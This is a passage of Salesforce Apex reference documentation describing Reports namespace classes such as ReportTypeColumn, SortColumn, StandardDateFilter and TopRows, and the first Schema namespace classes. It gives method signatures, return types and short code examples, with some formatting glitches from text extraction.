public String getLabel()
```

Return Value
Type: String

**getValue()**
Returns the scope value for the report.

Signature
```java
public String getValue()
```

Return Value
Type: String

**ReportType Class**
Contains the unique API name and display name for the report type.

**Namespace**
Reports

**ReportType Methods**
The following are methods for ReportType. All are instance methods.

IN THIS SECTION:
- **getLabel()**
  Returns the localized display name of the report type.
- **getType()**
  Returns the unique identifier of the report type.

**getLabel()**
Returns the localized display name of the report type.
Syntax

```
public String getLabel()
```

Return Value
Type: String

**getLabel()**
Returns the localized display name of the field.

Syntax

```
public String getType()
```

Return Value
Type: String

**getType()**
Returns the unique identifier of the report type.

---

**ReportTypeColumn Class**
Contains detailed report type metadata about a field, including data type, display name, and filter values.

**Namespace**
Reports

**ReportTypeColumn Methods**
The following are methods for ReportTypeColumn. All are instance methods.

IN THIS SECTION:

- **getDataType()**
  Returns the data type of the field.

- **getFilterValues()**
  If the field data type is picklist, multi-select picklist, boolean, or checkbox, returns all filter values for a field. For example, checkbox fields always have a value of `true` or `false`. For fields of other data types, the filter value is an empty array, because their values can't be determined.

- **getFilterable()**
  If the field is of a type that can't be filtered, returns `false`. For example, fields of the type `Encrypted Text` can't be filtered.

- **getLabel()**
  Returns the localized display name of the field.

- **getName()**
  Returns the unique API name of the field.
**getDataType()**

Returns the data type of the field.

Syntax

```java
public Reports.ColumnDataType getDataType()
```

Return Value

Type: `Reports.ColumnDataType`

**getFilterValues()**

If the field data type is picklist, multi-select picklist, boolean, or checkbox, returns all filter values for a field. For example, checkbox fields always have a value of `true` or `false`. For fields of other data types, the filter value is an empty array, because their values can’t be determined.

Syntax

```java
public LIST<Reports.FilterValue> getFilterValues()
```

Return Value

Type: `List<Reports.FilterValue>`

**getFilterable()**

If the field is of a type that can’t be filtered, returns `False`. For example, fields of the type `Encrypted Text` can’t be filtered.

Syntax

```java
public Boolean getFilterable()
```

Return Value

Type: `Boolean`

**getLabel()**

Returns the localized display name of the field.

Syntax

```java
public String getLabel()
```

Return Value

Type: `String`
**getName()**
Returns the unique API name of the field.

Syntax

```java
public String getName()
```

Return Value

Type: String

---

**ReportTypeColumnCategory Class**
Information about categories of fields in a report type.

**Namespace**

Reports

**Usage**

A report type column category is a set of fields that the report type grants access to. For example, an opportunity report has categories like *Opportunity Information* and *Primary Contact*. The Opportunity Information category has fields like *Amount*, *Probability*, and *Close Date*.

Get category information about a report by first getting the report metadata:

```java
// Get the report ID
List<Report> reportList = [SELECT Id,DeveloperName FROM Report where DeveloperName = 'Q1_Opportunities2'];

String reportId = (String)reportList.get(0).get('Id');

// Describe the report
Reports.ReportDescribeResult describeResults = Reports.ReportManager.describeReport(reportId);

// Get report type metadata
Reports.ReportTypeMetadata reportTypeMetadata = describeResults.getReportTypeMetadata();

// Get report type column categories
List<Reports.ReportTypeColumnCategory> reportTypeColumnCategories = reportTypeMetadata.getCategories();

System.debug('reportTypeColumnCategories: ' + reportTypeColumnCategories);
```

**ReportTypeColumnCategory Methods**

The following are methods for *ReportTypeColumnCategory*. All are instance methods.
IN THIS SECTION:

getColumns()
Returs information for all fields in the report type. The information is organized by each section’s unique API name.

getLabel()
Returns the localized display name of a section in the report type under which fields are organized. For example, in an Accounts with Contacts custom report type, Account General is the display name of the section that contains fields on general account information.

**getColumns()**

Returns information for all fields in the report type. The information is organized by each section’s unique API name.

**Syntax**

```java
public MAP<String,Reports.ReportTypeColumn> getColumns()
```

**Return Value**

Type: Map<String,Reports.ReportTypeColumn>

**getLabel()**

Returns the localized display name of a section in the report type under which fields are organized. For example, in an Accounts with Contacts custom report type, Account General is the display name of the section that contains fields on general account information.

**Syntax**

```java
public String getLabel()
```

**Return Value**

Type: String

**ReportTypeMetadata Class**

Contains report type metadata, which gives you information about the fields that are available in each section of the report type, plus filter information for those fields.

**Namespace**

Reports

IN THIS SECTION:

ReportTypeMetadata Methods

**ReportTypeMetadata Methods**

The following are methods for ReportTypeMetadata. All are instance methods.
IN THIS SECTION:

getCategories()
Returns all fields in the report type. The fields are organized by section.

getDivisionInfo()
Returns the default division and a list of all possible divisions that can be applied to this type of report.

getScopeInfo()
Returns information about the scopes that can be applied to this type of report.

getStandardDateFilterDurationGroups()
Returns information about the standard date filter groupings that can be applied to this type of report. Standard date filter groupings include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week, Fiscal Year, Fiscal Quarter, Day and a custom value based on a user-defined date range.

getStandardFilterInfos()
Returns information about standard date filters that can be applied to this type of report.

getCategories()
Returns all fields in the report type. The fields are organized by section.

Syntax

public LIST<Reports.ReportTypeColumnCategory> getCategories()

Return Value

Type: List<Reports.ReportTypeColumnCategory>

getDivisionInfo()
Returns the default division and a list of all possible divisions that can be applied to this type of report.

Signature

public Reports.ReportDivisionInfo getDivisionInfo()

Return Value

Type: Reports.ReportDivisionInfo

getScopeInfo()
Returns information about the scopes that can be applied to this type of report.

Signature

public Reports.ReportScopeInfo getScopeInfo()
getStandardDateFilterDurationGroups()
Returns information about the standard date filter groupings that can be applied to this type of report. Standard date filter groupings include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week, Fiscal Year, Fiscal Quarter, Day and a custom value based on a user-defined date range.

Signature
public List<Reports.StandardDateFilterDurationGroup> getStandardDateFilterDurationGroups()

Return Value
Type: List<Reports.StandardDateFilterDurationGroup>

getStandardFilterInfos()
Returns information about standard date filters that can be applied to this type of report.

Signature
public Map<String,Reports.StandardFilterInfo> getStandardFilterInfos()

Return Value
Type: Map<String,Reports.StandardFilterInfo>

SortColumn Class
Contains information about the sort column used in the report.

Namespace
Reports

IN THIS SECTION:
SortColumn Methods

SortColumn Methods
The following are methods for SortColumn.

IN THIS SECTION:
getSortColumn()
Returns the column used to sort the records in the report.
getSortOrder()  
Returns the the sort order— ascending or descending—for the sort column.

setSortColumn(sortColumn)  
Sets the column used to sort the records in the report.

setSortOrder(SortOrder)  
Sets the sort order— ascending or descending—for the sort column.

getSortColumn()  
Returns the column used to sort the records in the report.

Signature  
public String getSortColumn()

Return Value  
Type: String

getSortOrder()  
Returns the the sort order— ascending or descending—for the sort column.

Signature  
public Reports.ColumnSortOrder getSortOrder()

Return Value  
Type: Reports.ColumnSortOrder

setSortColumn(sortColumn)  
Sets the column used to sort the records in the report.

Signature  
public void setSortColumn(String sortColumn)

Parameters  
sortColumn  
Type: String

Return Value  
Type: void
setSortOrder(SortOrder)
Sets the sort order—ascending or descending—for the sort column.

Signature
public void setSortOrder(Reports.ColumnSortOrder sortOrder)

Parameters
sortOrder
Type: Reports.ColumnSortOrder

Return Value
Type: void

StandardDateFilter Class
Contains information about standard date filter available in the report—for example, the API name, start date, and end date of the standard date filter duration as well as the API name of the date field on which the filter is placed.

Namespace
Reports

IN THIS SECTION:
StandardDateFilter Methods

StandardDateFilter Methods
The following are methods for StandardDateFilter.

IN THIS SECTION:
getColumn()
Returns the API name of the standard date filter column.

getDurationValue()
Returns duration information about a standard date filter, such as start date, end date, and display name and API name of the date filter.

getEndDate()
Returns the end date of the standard date filter.

getStartDate()
Returns the start date for the standard date filter.

setColumn(standardDateFilterColumnName)
Sets the API name of the standard date filter column.
setDurationValue(durationName)
Sets the API name of the standard date filter.

setEndDate(endDate)
Sets the end date for the standard date filter.

setStartDate(startDate)
Sets the start date for the standard date filter.

ggetColumn()  
Returns the API name of the standard date filter column.

Signature
public String getColumn()

Return Value
Type: String

ggetDurationValue()  
Returns duration information about a standard date filter, such as start date, end date, and display name and API name of the date filter.

Signature
public String getDurationValue()

Return Value
Type: String

ggetEndDate()  
Returns the end date of the standard date filter.

Signature
public String getEndDate()

Return Value
Type: String

ggetStartDate()  
Returns the start date for the standard date filter.

Signature
public String getStartDate()
Return Value
Type: String

**setColumn(standardDateFilterColumnName)**
Sets the API name of the standard date filter column.

**Signature**
`public void setColumn(String standardDateFilterColumnName)`

**Parameters**
- `standardDateFilterColumnName`
  - Type: String

Return Value
Type: void

**setDurationValue(durationName)**
Sets the API name of the standard date filter.

**Signature**
`public void setDurationValue(String durationName)`

**Parameters**
- `durationName`
  - Type: String

Return Value
Type: void

**setEndDate(endDate)**
Sets the end date for the standard date filter.

**Signature**
`public void setEndDate(String endDate)`

**Parameters**
- `endDate`
  - Type: String
setStartDate(String startDate)

Sets the start date for the standard date filter.

Signature

public void setStartDate(String startDate)

Parameters

startDate

Type: String

Return Value

Type: void

StandardDateFilterDuration Class

Contains information about each standard date filter—also referred to as a relative date filter. It contains the API name and display label of the standard date filter duration as well as the start and end dates.

Namespace

Reports

IN THIS SECTION:

StandardDateFilterDuration Methods

StandardDateFilterDuration Methods

The following are methods for StandardDateFilterDuration.

IN THIS SECTION:

gEndDate()

Returns the end date of the date filter.

getLabel()

Returns the display name of the date filter. Possible values are relative date filters—like Current FY and Current FQ—and custom date filters.

getStartDate()

Returns the start date of the date filter.
getValue()
Returns the API name of the date filter. Possible values are relative date filters—like THIS_FISCAL_YEAR and NEXT_FISCAL_QUARTER—and custom date filters.

getEndDate()
Returns the end date of the date filter.

Signature
public String getEndDate()

Return Value
Type: String

getLabel()
Returns the display name of the date filter. Possible values are relative date filters—like Current FY and Current FQ—and custom date filters.

Signature
public String getLabel()

Return Value
Type: String

getStartDate()
Returns the start date of the date filter.

Signature
public String getStartDate()

Return Value
Type: String

getValue()
Returns the API name of the date filter. Possible values are relative date filters—like THIS_FISCAL_YEAR and NEXT_FISCAL_QUARTER—and custom date filters.

Signature
public String getValue()
StandardDateFilterDurationGroup Class

Contains information about the standard date filter groupings, such as the grouping display label and all standard date filters that fall under the grouping. Groupings include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week, Fiscal Year, Fiscal Quarter, Day, and custom values based on user-defined date ranges.

Namespace

Reports

IN THIS SECTION:

StandardDateFilterDurationGroup Methods

StandardDateFilterDurationGroup Methods

The following are methods for StandardDateFilterDurationGroup.

IN THIS SECTION:

getLabel()
Returns the display label for the standard date filter grouping.

getStandardDateFilterDurations()
Returns the standard date filter groupings.

getLabel()

Returns the display label for the standard date filter grouping.

Signature

public String getLabel()

Return Value

Type: String

getStandardDateFilterDurations()

Returns the standard date filter groupings.

Signature

public List<Reports.StandardDateFilterDuration> getStandardDateFilterDurations()
Return Value

Type: List<Reports.StandardDateFilterDuration>

For example, a standard filter date grouping might look like this:

```
Reports.StandardDateFilterDuration[endDate=2015-12-31, label=Current FY, startDate=2015-01-01, value=THIS_FISCAL_YEAR],
Reports.StandardDateFilterDuration[endDate=2014-12-31, label=Previous FY, startDate=2014-01-01, value=LAST_FISCAL_YEAR],
Reports.StandardDateFilterDuration[endDate=2014-12-31, label=Previous 2 FY, startDate=2013-01-01, value=LAST_N_FISCAL_YEARS:2]
```

**StandardFilter Class**

Contains information about the standard filter defined in the report, such as the filter field API name and filter value.

**Namespace**

Reports

**Usage**

Use to get or set standard filters on a report. Standard filters vary by report type. For example, standard filters for reports on the Opportunity object are Show, Opportunity Status, and Probability.

IN THIS SECTION:

  **StandardFilter Methods**

**StandardFilter Methods**

The following are methods for StandardFilter.

IN THIS SECTION:

  **getName()**
  
  Return the API name of the standard filter.

  **getValue()**
  
  Returns the standard filter value.

  **setName(name)**
  
  Sets the API name of the standard filter.

  **setValue(value)**
  
  Sets the standard filter value.

**getName ()**

Return the API name of the standard filter.
Signature
public String getName()

Return Value
Type: String

**getValue()**
Returns the standard filter value.

Signature
public String getValue()

Return Value
Type: String

**setName(name)**
Sets the API name of the standard filter.

Signature
public void setName(String name)

Parameters
name
   Type: String

Return Value
Type: void

**setValue(value)**
Sets the standard filter value.

Signature
public void setValue(String value)

Parameters
value
   Type: String
StandardFilterInfo Class
Is an abstract base class for an object that provides standard filter information.

Namespace
Reports

IN THIS SECTION:
StandardFilterInfo Methods

StandardFilterInfo Methods
The following are methods for StandardFilterInfo.

IN THIS SECTION:

getLabel()
Returns the display label of the standard filter.

getType()
Returns the type of standard filter.

getLabel()
Returns the display label of the standard filter.

Signature
public String getLabel()

Return Value
Type: String

ggetType()
Returns the type of standard filter.

Signature
public Reports.StandardFilterType getType()

Return Value
Type: Reports.StandardFilterType
StandardFilterInfoPicklist Class

Contains information about the standard filter picklist, such as the display name and type of the filter field, the default picklist value, and a list of all possible picklist values.

Namespace

Reports

IN THIS SECTION:

StandardFilterInfoPicklist Methods

StandardFilterInfoPicklist Methods

The following are methods for StandardFilterInfoPicklist.

IN THIS SECTION:

getDefaultValue()
Returns the default value for the standard filter picklist.

getFilterValues()
Returns a list of standard filter picklist values.

getLabel()
Returns the display name of the standard filter picklist.

getType()
Returns the type of the standard filter picklist.

getDefaultValue()

Returns the default value for the standard filter picklist.

Signature

public String getDefaultValue()

Return Value

Type: String

getFilterValues()

Returns a list of standard filter picklist values.

Signature

public List<Reports.FilterValue> getFilterValues()
Return Value
Type: List<Reports.FilterValue>

**getLabel()**
Returns the display name of the standard filter picklist.

Signature
public String getLabel()

Return Value
Type: String

**getType()**
Returns the type of the standard filter picklist.

Signature
public Reports.StandardFilterType getType()

Return Value
Type: Reports.StandardFilterType

**StandardFilterType Enum**
The StandardFilterType enum describes the type of standard filters in a report. The getType() method returns a Reports.StandardFilterType enum value.

**Namespace**
Reports

**Enum Values**
The following are the values of the Reports.StandardFilterType enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>PICKLIST</td>
<td>Values for the standard filter type.</td>
</tr>
<tr>
<td>STRING</td>
<td>String values.</td>
</tr>
</tbody>
</table>

**SummaryValue Class**
Contains summary data for a cell of the report.
Namespace
Reports

SummaryValue Methods
The following are methods for SummaryValue. All are instance methods.

IN THIS SECTION:
getLabel()
Returns the formatted summary data for a specified cell.
getValue()
Returns the numeric value of the summary data for a specified cell.

getLabel()
Returns the formatted summary data for a specified cell.

Syntax
public String getLabel()

Return Value
Type: String

getValue()
Returns the numeric value of the summary data for a specified cell.

Syntax
public Object getValue()

Return Value
Type: Object

ThresholdInformation Class
Contains a list of evaluated conditions for a report notification.

Namespace
Reports

IN THIS SECTION:
ThresholdInformation Constructors
ThresholdInformation Methods

ThresholdInformation Constructors

The following are constructors for ThresholdInformation.

**IN THIS SECTION:**

**ThresholdInformation(evaluatedConditions)**

Creates a new instance of the `Reports.EvaluatedCondition` class.

**ThresholdInformation(evaluatedConditions)**

Creates a new instance of the `Reports.EvaluatedCondition` class.

**Signature**

```
public ThresholdInformation(List<Reports.EvaluatedCondition> evaluatedConditions)
```

**Parameters**

- `evaluatedConditions`
  - Type: `List<Reports.EvaluatedCondition>`
  - A list of `Reports.EvaluatedCondition` objects.

ThresholdInformation Methods

The following are methods for ThresholdInformation.

**IN THIS SECTION:**

**getEvaluatedConditions()**

Returns a list of evaluated conditions for a report notification.

**getEvaluatedConditions()**

Returns a list of evaluated conditions for a report notification.

**Signature**

```
public List<Reports.EvaluatedCondition> getEvaluatedConditions()
```

**Return Value**

- Type: `List<Reports.EvaluatedCondition>`

TopRows Class

Contains methods and constructors for working with information about a row limit filter.
Namespace

Reports

IN THIS SECTION:
TopRows Constructors
TopRows Methods

TopRows Constructors
The following are constructors for TopRows.

IN THIS SECTION:
TopRows(rowLimit, direction)
Creates an instance of the Reports.TopRows class using the specified parameters.
TopRows()
Creates an instance of the Reports.TopRows class. You can then set values by using the class's set methods.

TopRows(rowLimit, direction)
Creates an instance of the Reports.TopRows class using the specified parameters.

Signature

public TopRows(Integer rowLimit, Reports.ColumnSortOrder direction)

Parameters

rowLimit
Type: Integer
The number of rows returned in the report.
direction
Type: Reports.ColumnSortOrder
The sort order of the report rows.

TopRows()

Creates an instance of the Reports.TopRows class. You can then set values by using the class's set methods.

Signature

public TopRows()
IN THIS SECTION:

**getDirection()**
Returns the sort order of the report rows.

**getRowLimit()**
Returns the maximum number of rows shown in the report.

**setDirection(value)**
Sets the sort order of the report's rows.

**setDirection(direction)**
Sets the sort order of the report's rows.

**setRowLimit(rowLimit)**
Sets the maximum number of rows included in the report.

**toString()**
Returns a string.

---

**getDirection()**
Returns the sort order of the report rows.

**Signature**

```
public Reports.ColumnSortOrder getDirection()
```

**Return Value**

Type: `Reports.ColumnSortOrder`

---

**getRowLimit()**
Returns the maximum number of rows shown in the report.

**Signature**

```
public Integer getRowLimit()
```

**Return Value**

Type: `Integer`

---

**setDirection(value)**
Sets the sort order of the report's rows.

**Signature**

```
public void setDirection(String value)
```
Parameters

value
Type: String
For possible values, see Reports.ColumnSortOrder.

Return Value
Type: void

setDirection(direction)
Sets the sort order of the report’s rows.

Signature
public void setDirection(Reports.ColumnSortOrder direction)

Parameters

direction
Type: Reports.ColumnSortOrder

Return Value
Type: void

setRowLimit(rowLimit)
Sets the maximum number of rows included in the report.

Signature
public void setRowLimit(Integer rowLimit)

Parameters

rowLimit
Type: Integer

Return Value
Type: void

toString()
Returns a string.

Signature
public String toString()
Return Value
Type: String

Reports Exceptions

The Reports namespace contains exception classes.

All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In Exceptions on page 3159.

The Reports namespace contains these exceptions:

<table>
<thead>
<tr>
<th>Exception</th>
<th>Description</th>
<th>Methods</th>
</tr>
</thead>
<tbody>
<tr>
<td>Reports.FeatureNotSupportedException</td>
<td>Invalid report format</td>
<td>List&lt;String&gt; getFilterErrors() returns a list of filter errors</td>
</tr>
<tr>
<td>Reports.InstanceAccessException</td>
<td>Unable to access report instance</td>
<td>List&lt;String&gt; getReportMetadataErrors() returns a list of metadata errors</td>
</tr>
<tr>
<td>Reports.InvalidFilterException</td>
<td>Filter validation error</td>
<td>List&lt;String&gt; getSnapshotDateErrors() returns a list of snapshot date errors</td>
</tr>
<tr>
<td>Reports.InvalidReportMetadataException</td>
<td>Missing metadata for filters</td>
<td>List&lt;String&gt; getSnapshotDateErrors() returns a list of snapshot date errors</td>
</tr>
<tr>
<td>Reports.InvalidSnapshotDateException</td>
<td>Invalid historical report format</td>
<td>List&lt;String&gt; getSnapshotDateErrors() returns a list of snapshot date errors</td>
</tr>
<tr>
<td>Reports.MetadataException</td>
<td>No selected report columns</td>
<td></td>
</tr>
<tr>
<td>Reports.ReportRunException</td>
<td>Error running report</td>
<td></td>
</tr>
<tr>
<td>Reports.UnsupportedOperationException</td>
<td>Missing permissions for running reports</td>
<td></td>
</tr>
</tbody>
</table>

Schema Namespace

The Schema namespace provides classes and methods for schema metadata information.

The following are the classes in the Schema namespace.

IN THIS SECTION:

ChildRelationship Class
Contains methods for accessing the child relationship as well as the child sObject for a parent sObject.

DataCategory Class
Represents the categories within a category group.

DataCategoryGroupSobjectTypePair Class
Specifies a category group and an associated object.

DescribeColorResult Class
Contains color metadata information for a tab.
DescribeDataCategoryGroupResult Class
Contains the list of the category groups associated with KnowledgeArticleVersion and Question.

DescribeDataCategoryGroupStructureResult Class
Contains the category groups and categories associated with KnowledgeArticleVersion and Question.

DescribeFieldResult Class
Contains methods for describing sObject fields.

DescribeIconResult Class
Contains icon metadata information for a tab.

DescribeSObjectResult Class
Contains methods for describing SObjects. None of the methods take an argument.

DescribeTabResult Class
Contains tab metadata information for a tab in a standard or custom app available in the Salesforce user interface.

DescribeTabSetResult Class
Contains metadata information about a standard or custom app available in the Salesforce user interface.

DisplayTypeEnum
A Schema.DisplayTypeEnum value is returned by the field describe result's getType method.

FieldDescribeOptionsEnum
A Schema.FieldDescribeOptionsEnum value is a parameter in the SObjectType.getDescribe method.

FieldSet Class
Contains methods for discovering and retrieving the details of field sets created on sObjects.

FieldSetMember Class
Contains methods for accessing the metadata for field set member fields.

PicklistEntry Class
Represents a picklist entry.

RecordTypeInfo Class
Contains methods for accessing record type information for an sObject with associated record types.

SOAPTypeEnum
A Schema.SOAPTypeEnum value is returned by the field describe result getSoapType method.

SObjectDescribeOptionsEnum
A Schema.SObjectDescribeOptionsEnum value is a parameter in the SObjectType.getDescribe method.

SObjectField Class
A Schema.sObjectField object is returned from the field describe result using the getController and getSObjectField methods.

SObjectType Class
A Schema.sObjectType object is returned from the field describe result using the getReferenceTo method, or from the sObject describe result using the getSObjectType method.

ChildRelationship Class
Contains methods for accessing the child relationship as well as the child sObject for a parent sObject.
Namespace

Schema

Example

A ChildRelationship object is returned from the sObject describe result using the getChildRelationship method. For example:

```java
Schema.DescribeSObjectResult R = Account.SObjectType.getDescribe();
```

ChildRelationship Methods

The following are methods for ChildRelationship. All are instance methods.

**IN THIS SECTION:**
- `getChildSObject()`
- `getField()`
- `getRelationshipName()`
- `isCascadeDelete()`
- `isDeprecatedAndHidden()`
- `isRestrictedDelete()`

**getChildSObject()**

Returns the token of the child sObject on which there is a foreign key back to the parent sObject.

**Signature**

```java
public Schema.SObjectType getChildSObject()
```

**Return Value**

Type: `Schema.SObjectType`

**getField()**

Returns the token of the field that has a foreign key back to the parent sObject.

**Signature**

```java
public Schema.SObjectField getField()
```

**isCascadeDelete()**

Returns `true` if the child object is deleted when the parent object is deleted, `false` otherwise.

**isDeprecatedAndHidden()**

Reserved for future use.

**isRestrictedDelete()**

Returns `true` if the parent object can't be deleted because it is referenced by a child object, `false` otherwise.

**getRelationshipName()**

Returns the name of the relationship.

**isCascadeDelete()**

Returns `true` if the child object is deleted when the parent object is deleted, `false` otherwise.

**isDeprecatedAndHidden()**

Reserved for future use.

**isRestrictedDelete()**

Returns `true` if the parent object can't be deleted because it is referenced by a child object, `false` otherwise.
Return Value
Type: Schema.SObjectField

**getRelationshipName()**
Returns the name of the relationship.

Signature
```java
public String getRelationshipName()
```

Return Value
Type: String

**isCascadeDelete()**
Returns `true` if the child object is deleted when the parent object is deleted, `false` otherwise.

Signature
```java
public Boolean isCascadeDelete()
```

Return Value
Type: Boolean

**isDeprecatedAndHidden()**
Reserved for future use.

Signature
```java
public Boolean isDeprecatedAndHidden()
```

Return Value
Type: Boolean

**isRestrictedDelete()**
Returns `true` if the parent object can’t be deleted because it is referenced by a child object, `false` otherwise.

Signature
```java
public Boolean isRestrictedDelete()
```

Return Value
Type: Boolean
**DataCategory Class**

Represents the categories within a category group.

**Namespace**

*Schema*

**Usage**

The `Schema.DataCategory` object is returned by the `getTopCategories` method.

**DataCategory Methods**

The following are methods for `DataCategory`. All are instance methods.

**IN THIS SECTION:**

- `getChildCategories()`
  Returns a recursive object that contains the visible sub categories in the data category.

- `getLabel()`
  Returns the label for the data category used in the Salesforce user interface.

- `getName()`
  Returns the unique name used by the API to access the data category.

**getChildCategories()**

Returns a recursive object that contains the visible sub categories in the data category.

**Signature**

```java
public Schema.DataCategory getChildCategories()
```

**Return Value**

Type: `List<Schema.DataCategory>`

**getLabel()**

Returns the label for the data category used in the Salesforce user interface.

**Signature**

```java
public String getLabel()
```

**Return Value**

Type: `String`
getName()  
Returns the unique name used by the API to access to the data category.

Signature  
public String getName()  

Return Value  
Type: String

DataCategoryGroupSobjectTypePair Class  
Specifies a category group and an associated object.

Namespace  
Schema

Usage  
Schema.DataCategoryGroupSobjectTypePair is used by the describeDataCategory GroupStructures method to return the categories available to this object.

IN THIS SECTION:  
DataCategoryGroupSobjectTypePair Constructors  
DataCategoryGroupSobjectTypePair Methods

DataCategoryGroupSobjectTypePair Constructors  
The following are constructors for DataCategoryGroupSobjectTypePair.

IN THIS SECTION:  
DataCategoryGroupSobjectTypePair()  
Creates a new instance of the Schema.DataCategoryGroupSobjectTypePair class.

DataCategoryGroupSobjectTypePair()  
Creates a new instance of the Schema.DataCategoryGroupSobjectTypePair class.

Signature  
public DataCategoryGroupSobjectTypePair()  

DataCategoryGroupSobjectTypePair Methods  
The following are methods for DataCategoryGroupSobjectTypePair. All are instance methods.
IN THIS SECTION:

- **getDataCategoryGroupName()**
  Returns the unique name used by the API to access the data category group.

- **getSobject()**
  Returns the object name associated with the data category group.

- **setDataCategoryGroupName(name)**
  Specifies the unique name used by the API to access the data category group.

- **setSobject(sObjectName)**
  Sets the sObject associated with the data category group.

### getDataCategoryGroupName()

Returns the unique name used by the API to access the data category group.

**Signature**

```java
public String getDataCategoryGroupName()
```

**Return Value**

Type: `String`

### getSobject()

Returns the object name associated with the data category group.

**Signature**

```java
public String getSobject()
```

**Return Value**

Type: `String`

### setDataCategoryGroupName(name)

Specifies the unique name used by the API to access the data category group.

**Signature**

```java
public String setDataCategoryGroupName(String name)
```

**Parameters**

- `name`
  Type: `String`
Return Value
Type: Void

**setSobject(sObjectName)**
Sets the sObject associated with the data category group.

**Signature**
`public Void setSobject(String sObjectName)`

**Parameters**
- **sObjectName**
  - Type: String
  - The `sObjectName` is the object name associated with the data category group. Valid values are:
    - KnowledgeArticleVersion—for article types.
    - Question—for questions from Answers.

Return Value
Type: Void

**DescribeColorResult Class**
Contains color metadata information for a tab.

**Namespace**
Schema

**Usage**
The `getColors` method of the `Schema.DescribeTabResult` class returns a list of `Schema.DescribeColorResult` objects that describe colors used in a tab.

The methods in the `Schema.DescribeColorResult` class can be called using their property counterparts. For each method starting with `get`, you can omit the `get` prefix and the ending parentheses `()` to call the property counterpart. For example, `colorResultObj.color` is equivalent to `colorResultObj.getColor()`.

**Example**
This sample shows how to get the color information in the Sales app for the first tab’s first color.

```java
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.DescribeTabs();

// Iterate through each tab set describe for each app and display the info
for (Schema.DescribeTabSetResult tsr : tabSetDesc) {
    // Display tab info for the Sales app
```
if (tsr.getLabel() == 'Sales') {
    // Get color information for the first tab
    List<Schema.DescribeColorResult> colorDesc = tsr.getTabs()[0].getColors();
    // Display the icon color, theme, and context of the first color returned
    System.debug('Color: ' + colorDesc[0].getColor());
    System.debug('Theme: ' + colorDesc[0].getTheme());
    System.debug('Context: ' + colorDesc[0].getContext());
}

// Example debug statement output
// DEBUG|Color: 1797C0
// DEBUG|Theme: theme4
// DEBUG|Context: primary

DescribeColorResult Methods
The following are methods for DescribeColorResult. All are instance methods.

IN THIS SECTION:

getColor()
Returns the Web RGB color code, such as 00FF00.

getContext()
Returns the color context. The context determines whether the color is the main color for the tab or not.

getTheme()
Returns the color theme.

gColor()
Returns the Web RGB color code, such as 00FF00.

Signature
public String getColor()

Return Value
Type: String

gContext()
Returns the color context. The context determines whether the color is the main color for the tab or not.

Signature
public String getContext()
Return Value
Type: String

`getTheme()`
Returns the color theme.

Signature
`public String getTheme()`

Return Value
Type: String
Possible theme values include theme3, theme4, and custom.

- theme3 is the Salesforce theme introduced during Spring ’10.
- theme4 is the Salesforce theme introduced in Winter ’14 for the mobile touchscreen version of Salesforce.
- custom is the theme name associated with a custom icon.

DescribeDataCategoryGroupResult Class
Contains the list of the category groups associated with KnowledgeArticleVersion and Question.

Namespace
Schema

Usage
The `describeDataCategoryGroups` method returns a `Schema.DescribeDataCategoryGroupResult` object containing the list of the category groups associated with the specified object.

For additional information and code examples using `describeDataCategoryGroups`, see Accessing All Data Categories Associated with an sObject.

Example
The following is an example of how to instantiate a data category group describe result object:

```java
List<String> objType = new List<String> ();
objType.add('KnowledgeArticleVersion');
objType.add('Question');

List<Schema.DescribeDataCategoryGroupResult> describeCategoryResult =
    Schema.describeDataCategoryGroups (objType);
```

DescribeDataCategoryGroupResult Methods
The following are methods for `DescribeDataCategoryGroupResult`. All are instance methods.
IN THIS SECTION:

- **getCategoryCount()**
  Returns the number of visible data categories in the data category group.

- **getDescription()**
  Returns the description of the data category group.

- **getLabel()**
  Returns the label for the data category group used in the Salesforce user interface.

- **getName()**
  Returns the unique name used by the API to access to the data category group.

- **getSobject()**
  Returns the object name associated with the data category group.

### getCategoryCount()
Returns the number of visible data categories in the data category group.

**Signature**

```java
public Integer getCategoryCount()
```

**Return Value**

Type: `Integer`

### getDescription()
Returns the description of the data category group.

**Signature**

```java
public String getDescription()
```

**Return Value**

Type: `String`

### getLabel()
Returns the label for the data category group used in the Salesforce user interface.

**Signature**

```java
public String getLabel()
```

**Return Value**

Type: `String`
getName()
Returns the unique name used by the API to access to the data category group.

Signature
public String getName()

Return Value
Type: String

getSobject()
Returns the object name associated with the data category group.

Signature
public String getSobject()

Return Value
Type: String

DescribeDataCategoryGroupStructureResult Class
Contains the category groups and categories associated with KnowledgeArticleVersion and Question.

Namespace
Schema

Usage
The describeDataCategoryGroupStructures method returns a list of Schema.DescribeDataCategoryGroupStructureResult objects containing the category groups and categories associated with the specified object.
For additional information and code examples, see Accessing All Data Categories Associated with an sObject.

Example
The following is an example of how to instantiate a data category group structure describe result object:

List<DataCategoryGroupSobjectTypePair> pairs =
    new List<DataCategoryGroupSobjectTypePair>();

DataCategoryGroupSobjectTypePair pair1 =
    new DataCategoryGroupSobjectTypePair();
pair1.setSobject('KnowledgeArticleVersion');
pair1.setDataCategoryGroupName('Regions');
DataCategoryGroupSobjectTypePair pair2 =
        new DataCategoryGroupSobjectTypePair();
    pair2.setSobject('Questions');
    pair2.setDataCategoryGroupName('Regions');

    pairs.add(pair1);
    pairs.add(pair2);

    List<Schema.DescribeDataCategoryGroupStructureResult>results =
        Schema.describeDataCategoryGroupStructures(pairs, true);
Return Value
Type: String

**getName()**
Returns the unique name used by the API to access to the data category group.

Signature
```java
public String getName()
```

Return Value
Type: String

**getSobject()**
Returns the name of object associated with the data category group.

Signature
```java
public String getSobject()
```

Return Value
Type: String

**getTopCategories()**
Returns a `Schema.DataCategory` object, that contains the top categories visible depending on the user’s data category group visibility settings.

Signature
```java
public List<Schema.DataCategory> getTopCategories()
```

Return Value
Type: `List<Schema.DataCategory>`

Usage
For more information on data category group visibility, see “Data Category Visibility” in the Salesforce online help.

**DescribeFieldResult Class**
Contains methods for describing sObject fields.
Namespace

Schema

Usage

Instances of field describe results on the same DescribeFieldResult aren't guaranteed to be equal because the state and behavior of a describe object is determined by various factors including the API version used. To compare describe results, call the getSObjectField() method on the field describe results and use the equality operator (==) to compare the SObjectField values.

Example

The following is an example of how to instantiate a field describe result object:

```java
Schema.DescribeFieldResult dfr = Account.Description.getDescribe();
```

